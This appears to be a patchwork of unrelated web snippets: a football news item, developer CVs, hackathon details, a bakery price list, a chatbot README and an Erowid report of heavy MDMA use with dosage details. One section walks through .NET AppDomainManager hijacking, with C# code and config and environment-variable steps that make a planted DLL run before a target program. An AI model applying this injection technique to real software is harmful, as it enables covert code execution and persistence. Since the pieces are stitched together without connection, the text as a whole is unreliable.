Ghanaian midfielder Emmanuel Boateng has started training at Meccabi Tel Aviv after a month with an injury.
The player's recovery is good news for manager Vladimir Ivic as the team prepares for the upcoming games against Kiryat Shmona and the derby against Hapoel Tel Aviv.
Boateng suffered a knee injury in his sides clash against Kfar Saba in the Israeli top flight league in October.
He has been out for almost six weeks but could feature in friendlies against Maccabi Petah and Ramat Hasharaon on Friday and Sunday respectively.
The former WAFA star joined the Israeli giants from Aduana Stars in 2018.


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Modern web development requires many hats to be worn with the lines between back-end and front-end being blurred.
The most important skill in web development. JS solutions come in many different shapes and sizes. I've provided single page applications, full-stack web apps, middle tier between front and back ends, marketing page magic.
Taking comps directly to clean, performant, semantic markup, that is mobile friendly and maintainable. Using the latest in HTML5/CSS3, and leveraging many years of cross-browser experience, I am able to provide quality work.
Development goes beyond the browser. Whether it is writing a new endpoint in a micro-service, or tracing an issue with a silent error, I'm comfortable diving in at any level of the stack and implement or debug full end to end solutions.


1. Use Visual Studio, select c# development environment, create a new console application, project name: program, the code is as follows:
using System;
public class Program
{
public static void Main()
{
Console.WriteLine("Inside the App");
}
}
Compile and generate program.exe
2. write payload Dll
Select c# development environment, create a new class library, project name: DomainManager, the code is as follows:
using System;
namespace DomainManager
{
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Blah From AppMgr");
}
}
}
Compile and generate DomainManager.dll
3, set the AppDomainManager hijacking program to start
Put DomainManager.dll in the same directory
method 1:
Cmd sets the environment variable:
set APPDOMAIN_MANAGER_ASM=DomainManager, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager
Execute program.exe, and by looking at the echo, it is found that DomainManager.dll is executed before program.exe.
Successful implementation of hijacking, complete operation as shown below
Note: the order of execution
The method of setting environment variables through cmd will only work on the current cmd, not enough.
Method 2:
A more general approach: configuring the config file
Create a new program.exe.config with the following contents:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
</startup>
<runtime>
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
<appDomainManagerAssembly
value="DomainManager, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=null" />
</runtime>
</configuration>
Note:
Config file naming format: exe+.config
Successful implementation of hijacking, complete operation as shown below


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I've been clean and sober for about 3 months now, after 28 days in rehab. I went to rehab because the things I had previously loved most (and still hold dear), drugs, had quite literally ruined my life. But that is neither here nor there. I write this to dispel some myths and clear up some issues regarding use / abuse of MDMA.
I love ecstacy. I just don't do it anymore. I loved it from the first time I tried it - how could I not? It felt great, and completely in the face of what others told me, I did not wait for my brain to 'recharge' before doing it again. They told me wait at least two weeks, I did it again the next weekend. And the weekend after that. And the weekend after that. Time passed, though my perception of it became increasingly vague, and after a while I found myself in a drug user's paradise: free drugs, anytime, anywhere. Paid in full, always top-quality. Given this sort of access, I did something insane. I took MDMA, and did not stop for eight consecutive days and nights. I slept a few hours here and there, but I was most definitely intoxicated for the entire 192 hours. It felt like the greatest experience of my life right up until the end. This is where the clarification starts.
Most people don't find this out the hard way, but tolerance to ecstacy builds up extremely fast. By the last 24 hours, I had swallowed, snorted, or chewed up 11 1/2 MDMA pills of very high quality (I know this because other, normal people took the same pills and achieved the desired state of mind), and I felt nothing - maybe a small buzz. I haven't taken MDMA since, I found myself in rehab less than a week later.
Some observations I have made since:
1. Abuse of MDMA most certainly damages the facilities of memory. Even today, months later, my memory - both short and long term - is unreliable, at best, though it has been getting better and better as time progresses.
2. MDMA flashbacks are real. They have grown less frequent and less intense, but they do happen. Notably, these flashbacks only occur when I have some other substance in my body - nowadays, caffeine or nicotine. They usually last less than a minute, and they are not as intense as an actual MDMA trip, but still very characteristic of MDMA intoxication: intense body high, clenching of the jaw, feelings of well-being. These now happen maybe one in ten times I smoke a cigarette or drink something heavily caffeinated. I have met one other MDMA abuser who has reported similar experiences.
3. The usual 'brain-dead' feeling that follows MDMA use for one to three days (maybe more, depending on the person and strength) is exponentially multiplied by consecutive use. I was basically a walking, talking vegetable for two weeks, and it took two more weeks until I actually felt sober.
4. MDMA use most definitely impacted my emotional stability. The first six weeks I was clean and sober were an emotional rollercoaster. I still have fairly powerful mood swings (usually swinging down), but much less frequently.
5. Sexual climax is noticeably harder for me to reach.
6. While MDMA abuse has had the aforementioned effects on me, it would seem my intelligence emerged unscathed. It took a few weeks for it to show its face again - it actually came flooding back during a lecture in rehab about neurochemistry. The lecturer knew only basic facts, and I basically raised my hand and corrected him out of nowhere. Hell, I didn't even see it coming.
Hope that helps those searching for answers. I know I probably can't stop anyone from taking drugs, and I don't intend to, or even want to. All I'll say is this: Take it easy, and play it safe.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Explore the street you land on and figure out which neighborhood you're in. Then make your guess.
What neighborhood is this?


My Team
Jasmine
Manager
ID: 1
Email<EMAIL_ADDRESS>Office Number: 7
Robyn
Engineer
ID: 2
Email<EMAIL_ADDRESS>GitHubUsername: jasdjames
Jasmine
Intern
ID: 3
Email jfa
Office Number: University of Houston


Copy the content of your CSV file here (see the sample)
The latex of the output
You might need to use \usepackage{tikz} and \usepackage{pgfplots}
You can save the output to a file (e.g., graph1.tex) and then use the following snippet:
If you have a lot of points (in the X-axis), you can remove the xticks and xticklabels from the
generated text (if you remove them, a subset of them will be generate automatically)


Documentation
Purpose
"Object" is a backing service with a simple RESTful API for NoSQL database operations. Supported operations include CRUD, search, data pipelines, aggregation, and bulk imports. MongoDB is the underlying database technology. See the interactive Swagger documentation for a full list of supported operations.
The Object service provides the following benefits:
- Language-agnostic: Any language can send and consume HTTP requests. No Mongo SDK is required.
- Centralized data access for the organization: There's one, easy-to-remember URL
- Consistent API: Searching, data aggregation, etc. are consistent across data sources by-design
- Consistent authorization: Authorization is handled via OAuth2 scopes
- Design simplification: Developers can avoid ORMs and treat CRUD operations as HTTP requests
- Scalability: As a microservice based on .NET Core, it's efficient, fast, and horizontally scalable


New Post Artist Name Album Title Tell Your Story Tell everyone who, what, where, and why, this music is special to you. Submit Post


Cakes and Bakes
Anna is able to offer a range of products, curated to fulfil your personal vision. Prices start from:
- Single-tier birthday cake with fondant decoration - £25
- Multi-tier birthday cake with curated decoration - £50
- Wedding cake with fondant decoration - £85
- Ultimate luxury wedding or celebration cake with curated, spun sugar embellishment - £150


Send message from JS -> App
Remember: this is a UIWebView.
Toggle fullscreen
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Log background color
Send message from App -> JS
Tap the color buttons below to change the web view's background color. Or click "Show Image" to display an image in the web view.


Any current college student who is 18+ on April 1st, 2016.
You can think of ideas for your project, but you need to start basically from scratch when you arrive.
We will not be able to offer travel reimbursement this year, however, we are planning on having it for the future.
Laptop, chargers, change of clothes, toiletries, pillow.
Yes, lots! We will provide three meals a day as well as snacks, drinks, and caffeine.
A hackathon is an event where motivated people come together and use technology and creativity to build something amazing. Any designers, writers, computer scientists or anyone interested in hackathons are welcome to attend!
Don't have a team? We got you covered. We will have time before hacking begins for hackers to get together and form teams. You can have a maximum of 4 members on your team.
We always need more volunteers and mentors! Sign up here!
Feel free to contact us on Facebook or Twitter. You can also shoot us an email.
| 5:00pm | Arrival and Check-in |
| 6:00pm | Opening Ceremonies |
| 7:00pm | Dinner |
| 7:30pm | Team Formation |
| 7:30pm | Hardware Check-out |
| 8:00pm | Hacking Begins |
| Midnight | Milk and Cookies |
| 8:00am | Breakfast |
| 8:00am | Writeathon Check-in |
| 9:00am | Writeathon begins |
| 10:00am | Women's Coffee Hour |
| 12:00pm | Lunch |
| 6:30pm | Dinner |
| 9:00pm | Writeathon ends |
| 10:00pm | Writeathon Presentations |
| Midnight | Soda Floats and Ice Cream |
| 7:00am | Breakfast |
| 9:30am | Hacking ends |
| 10:00am | Expo Starts |
| 12:00pm | Closing Ceremonies |
Interested in being a sponsor or partner? Contact us for more details!
Sign Up To Be A MentorHackCU has expanded to include a 12-hour Writeathon! This event is the first of its kind where you have 12 hours to transform your creative ideas onto paper. From 9am to 9pm, you will be writing anything you want to: the blog you never started, start a novel, poetry, journalism, technical writing. The sky is the limit! Free to apply, free to attend, free food, and free drinks. All you need to bring is yourself and some creative ideas! Join the Facebook event here.
Fletcher works for Galvanize Ventures, an early stage technology focused venture fund, where he helps source and support high growth startups. Fletcher graduated from CU with a degree in Electrical & Computer Engineering in 2014. While in school, he co-founded Spark Boulder and ran it as managing director while working as a Growth Engineer for PivotDesk, a Techstars company. Fletcher loves skiing and prides himself on being an early adopter.
Mark spent a decade behind bars back in the day (operating some of South Beach's hottest nightclubs and restaurants) and traveling the world. He lived and worked on a cattle ranch in Florissant, CO before moving to Boulder and earning his MFA in Writing & Poetics at Naropa. He's published his writing, taught college English, and has directed employee communications for two of our states largest employers. He is finishing Boulder's first net-zero shipping container home just up the road. He is an active angel investor who spends as little time with technology as possible and is currently helping Ello transform the social media landscape by empowering creators, embracing tolerance, diversity, transparency and ethical technologies, and engendering a revenue model that doesn't relay on selling user data to serve ads.
Greg is a 25+ year veteran of software engineering and holds both a B.S. and M.S. in Computer Science & Engineering with thesis work in parallel processing. In the last ten years, Greg has built and directed engineering teams in Boulder's startup community and helped found and serve as CTO at Collective Intellect, which was recently purchased by Oracle. He then moved to the VP of Engineering role at Gnip. Greg is now the Director of Engineering for the Data Products organization within Twitter.
Becky is the Assistant Director of the Idea Forge and the Managing Director of Catalyze CU, the university startup accelerator. Her background is in structural engineering where she spent most of her time hanging from buildings and climbing on bridges. After transitioning into education, she gained an interest in human-centered design and hands-on education. Her goal is to help engineering students realize their potential as leaders and change-makers.
After his studies in London, earning undergraduate and graduate degrees in engineering and digital technology, Sharp – based in Armenia – became the director of information technology (IT) for the world’s largest creative technologies organization. Sharp then co-founded Lionsharp, which produces Voiceboard, the world’s first gesture and voice-controlled presentation tool. Sharp is a go-to for discussions about software and hardware product design and development along with team building and culture forming, early-stage fundraising and pitch preparation.
Brandon is a CU alumnus and fifteen-year veteran of the software industry. He has done a little bit of everything, from graphic design to mainframe integration for Fortune 500 companies to running a software consultancy. As Director of Community Development for SendGrid, he works to help developers, accelerators, startups, and growth stage companies build for success.
Arielle is an artist, technologist, and educator whose work explores the imaginative use of emerging technologies and spans the fields of physical computing, interaction design, and conceptual art. She is a graduate of NYU’s Interactive Telecommunication Program (ITP) and currently an instructor of creative technology courses in the Technology, Arts & Media (TAM) Program at the University of Colorado at Boulder. Arielle’s focus as a designer and educator is on empowering students and communities through the exploration of interactive systems and the use of digital tools.
Arieann has spent the last decade as a serial entrepreneur and scientist. Currently she is the founder and CEO of Kitables, a company that empowers people of all ages to build with confidence. She is also the Executive Director of Spark Boulder, the co-working space for young companies and entrepreneurs.


Click the buttons to change the zoom level or just use the normal click-and drag. While zoom typically works by click-and-drag, the buttons are useful for testing.
Window coordinates (in dates and values):
Zoomed:
False
Zoomed X:
False
Zoomed Y:
False
Zoom operations:


WATCH | US Senator Rand Paul: 'We know the name of the whistleblower' 05 Nov 2019, 09:25 US Senator Rand Paul says he knows the name of the Donald Trump whistleblower.


The NanoGong applet below loads a pre-recorded voice file from a website. The location of the voice file is given by an applet parameter named "SoundFileURL". In this particular case, the value of the parameter is the relative location of the file in the folder.
More information about NanoGong can be obtained from http://gong.ust.hk/nanogong/.


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Dec 2021
Graduated from Vandy with a Bacehlor of Science (B.S.) in Computer Science & Mathematics!
April 2020
Started my summer internship at the Institute for Software Integrated Systems in Nashville, TN. Working from home to avoid catching COVID-19.
Aug 2018
Started my undergraduate career at Vanderbilt University.
Feb 2018
I designed a brain-computer interface and managed to publish my first paper at ICCMC 2018!


Blacksmith Helton:
Naturally,
Warehouse Chief Moke of Gludin Village
is guarding the column. Please go to him. He could probably use some help right now from a person like yourself.


Hi! I'm Nuno Balbona
Full-stack developer , sysadmin, and technical founder, with a passion for software that connects people. ✌
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👨💼 Experience
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Freelance Developer [Sep 2022 - Present]
- Bootstrapping a SaaS product, currently unreleased
- Doing some additional freelance work
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CTO at Widitrade [Dec 2021 - Sep 2022]
- Led full-stack team of 3 developers: assigning tasks, solving questions and issues, and monthly 1:1s; with a global understanding of the company and it’s needs
- Managed hiring processes
- Filled various roles depending on the company needs like contributing code, maintaining and deploying infrastructure, code reviewing…
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Full-Stack Developer at Widitrade [2020 - Dec 2021]
- Maintained legacy ecommerce platform, which sells millions of euros monthly, using Symfony
- Developed a new platform from the ground up using Laravel and Vue.js
- Eventually promoted to CTO
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Freelance Developer [2020 - 2020]
- Worked on personal projects, currently unreleased.
- Developed new CuriousCat webapp and native apps (+4.5 stars) iOS App, Android App
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Full-Stack Developer at vonvon inc. [2018 – 2020]
- Developed new features for CuriousCat, and kept an availability of +99.9%
- Developed multiple systems using nodejs microservices to improve CuriousCat's safety, like blocking questions from bad agents, moderation for images/reports, and more.
- Helped increase ad revenue by working with different partners and running experiments.
- Developed multiple other social websites/apps, like Beacon.
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Technical Cofounder at CuriousCat [2016 – 2018]
- CuriousCat is a Q&A social network used by more than one and a half million people every day, where you can ask and receive questions, sometimes anonymously.
- I cofounded CuriousCat in 2016, and we were acquired by Vonvon Inc. two years after.
- Developed MVP with PHP + JQuery, and migrated to a SPA using Vue.js as the app got more complex.
- Ran experiments to drive user retention and acquisition.
- Scaling was one of the main challenges, as we sometimes reached +40k concurrent users. It currently serves +2B requests per month.
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Freelance Developer at Webmonster [2014 – 2017]
- Developed company websites and webapps for multiple multinationals and local companies like Danone/Dannon, and Interporc.
- I developed sites from scratch, and improved existing websites using PHP, WordPress, jQuery, and Vue.js
- Customer support, answering tickets and fixing issues with the client's websites + emails.
🕵 Up close and personal
- I'm @Balbonator in twitter
- You can leave me a mail at<EMAIL_ADDRESS>- Or connect with me on LinkedIn
👨🏫 Education
I started programming at age 11, and taught myself how to code by developing tools and games. I pursued a CS degree for a couple of years, but dropped out to focus on work.
Incomplete list of things I'm skilled in:
- Programming Languages: Typescript and PHP. I also have used in a small scale other languages like Rust or Python.
- Frontend: Vue, React, React Native, Redux, Webpack, Vite, SASS
- Backend: AWS, Linux, Node.js, MySQL, MongoDB, Redis, Memcached, Laravel, Symfony
- Languages: Professional English, Native Spanish and Galician
- Personal skills: I'm a hard worker and have a strong work ethic. I like to do things well, even if it sometimes means moving fast and breaking things. I'm independent and resolute but also love to work in teams, getting help and helping others.
👨🔧 Personal projects
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Brawlmance
- Brawlmance provides statistics for the videogame Brawlhalla
- It has mantained a small but steady user base of about ~5k monthly users for many years, coming from recurring users and SEO
- It crawls millions of players every day, and keeps track of the global trends
- react-native-web-refresh-control: An implementation of React Native's RefreshControl for web, since react-native-web does not provide one at the moment
- Is-on-water: An API for determining if a point on earth is on water (ocean, river, or lake), or land. Developed thanks to the ASTWBD v001 dataset
- Worldex: Geoguessr-inspired geo-guessing race game, where you have to find your way to the finish line as fast as you can, from an unknown urban location. Supports multiplayer lobbies using a Node.js server and websockets
- Scrambled Words (mobile only): Endless Scrabble word game
- Palabrio: Wordle clone built with Typescript and Svelte
- sync-contributions-calendar: Merge your GitLab's contributions to your GitHub contributions calendar
- vue-i18n-scanner: vue-18n-scanner analyses your Vue.js source code in order to report unused keys, missing translations, and update your translation files
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Conway Engine: A performant JS engine for Conway's Game of Life
- twitch-drops-lurker: Get twitch drops without the hassle of having a tab open, using Puppeteer.
- JS Launchpad: Library that uses the Web MIDI API to interact with the Launchpad Mk1


About
VeraPish is a web app developed by Óscar Iglesias in the context of an Universitary Information Security Master of Science End of Degree project at UNIR in Spain.
Based on Django framework and leveraging on python Gophish API, it is designed to be a SETA (Security Education Training Tool) for improving Engineering Social Attacks awareness, focusing on Phishing campaigns.
The application has two main components:
Check Help section for further configuration details.


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A learning chatterbot in HTML / Javascript (ECTOR).
The browserified (browserify) version of node-ector.
Download the files: https://github.com/parmentf/browser-ector/archive/master.zip
Or clone the repository:
git clone https://github.com/parmentf/browser-ector.git
Then, drag and drop file browser-ector/ector.html
into your browser
(tested in Google Chrome 23, Firefox 18 and Chromium 20).
Import js/bundle-ector.js
, js/jquery-1.8.3.min.js
, js/mustache.js
, and
js/ector.js
into your HTML page.
Take a look at ector.js
, and adapt it to your web application.
The important part is:
var Ector = require('ector');
ector = new Ector();
var previousResponseNodes = null;
ector.addEntry(entry);
ector.linkNodesToLastSentence(previousResponseNodes);
var response = ector.generateResponse();
console.log('%s: %s', ector.name, response.sentence);
previousResponseNodes = response.nodes;
You can customize your Ector, using its parameters:
ector = new Ector('botname', 'username');
or using setUser
method:
ector.setUser('newName');
You can take a look at the example page, and talk to
ECTOR (name it ECTOR
,
it will recognize its name).
At this moment, your name is Guy
, guy. OK?
Copyright (c) 2013 François Parmentier<EMAIL_ADDRESS>Licensed under the MIT license.